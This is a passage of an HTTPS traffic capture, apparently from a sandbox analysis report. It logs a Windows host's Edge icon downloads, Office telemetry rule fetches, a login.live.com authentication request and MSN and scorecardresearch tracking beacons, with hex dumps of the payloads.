2024-11-21 21:05:00 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:00 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 1e9f1f98-401e-0006-2c47-3c9f7f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210500Z-178bfbc474bv7whqhC1NYC1fg40000000220000000008rts Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:05:00 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	49904	13.107.246.40	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:59 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:00 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:00 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 4672b4b6-e01e-0066-2047-3cda5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210500Z-178bfbc474bq2pr7hC1NYCkfgg000000021000000000zvrf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:05:00 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:59 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:05:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:00 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210500Z-178bfbc474bbbqrhhC1NYCvw740000000270000000008gx7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:05:00 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	49903	13.107.246.40	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:59 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:00 UTC	523	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:00 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5134cf6a-301e-006f-2d59-3cc0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210500Z-174c587ffdfks6tlhC1TEBeza400000000eg000000007yb8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:05:00 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	49905	13.107.246.40	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:59 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:00 UTC	516	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:00 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: b63a2708-a01e-006a-4659-3c34ac000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210500Z-r1d97b99577ndm4rhC1TEBf0ps0000000az000000000m4cc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:05:00 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	49906	13.107.246.40	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:59 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:01 UTC	516	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:01 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 6d9d1516-001e-0001-3d59-3c69fa000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210500Z-178bfbc474brk967hC1NYCfu6000000001rg00000000uyyh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:05:01 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	49907	20.190.177.23	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:59 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-21 21:04:59 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:05:00 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:04:00 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C503_SN1 x-ms-request-id: 2bab6e76-00f7-42ef-8b23-549128c9b9e0 PPServer: PPV: 30 H: SN1PEPF0002F02D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:05:00 GMT Connection: close Content-Length: 11389
2024-11-21 21:05:00 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:00 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:05:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:00 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210500Z-178bfbc474bbcwv4hC1NYCypys00000001w000000000fsex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:05:00 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:00 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:05:00 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:05:00 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: e3a34b23-101e-0034-2f4c-3c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210500Z-15b8b599d885v8r9hC1TEB104g00000000g0000000004q0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:05:00 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	49912	3.168.102.127	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:00 UTC	925	OUT	GET /b?rn=1732223097968&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AFA34AF60E96DDF261E219161EE6CD7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:05:00 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 21 Nov 2024 21:05:00 GMT Location: /b2?rn=1732223097968&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AFA34AF60E96DDF261E219161EE6CD7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=15497343e96417d65aaa5001732223100; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=15497343e96417d65aaa5001732223100; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 6f0d33f9dc4943769155e0d17d0458aa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P6 X-Amz-Cf-Id: 9utTH6EPIsH6p1ReqXWU6txhGLitMI4T8feSZ-ewYjggZysIB0rw4Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	49911	20.110.205.119	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:05:00 UTC	1175	OUT	GET /c.gif?rnd=1732223097968&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=d41ff1193c9d4d589e56076438120f12&activityId=d41ff1193c9d4d589e56076438120f12&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: 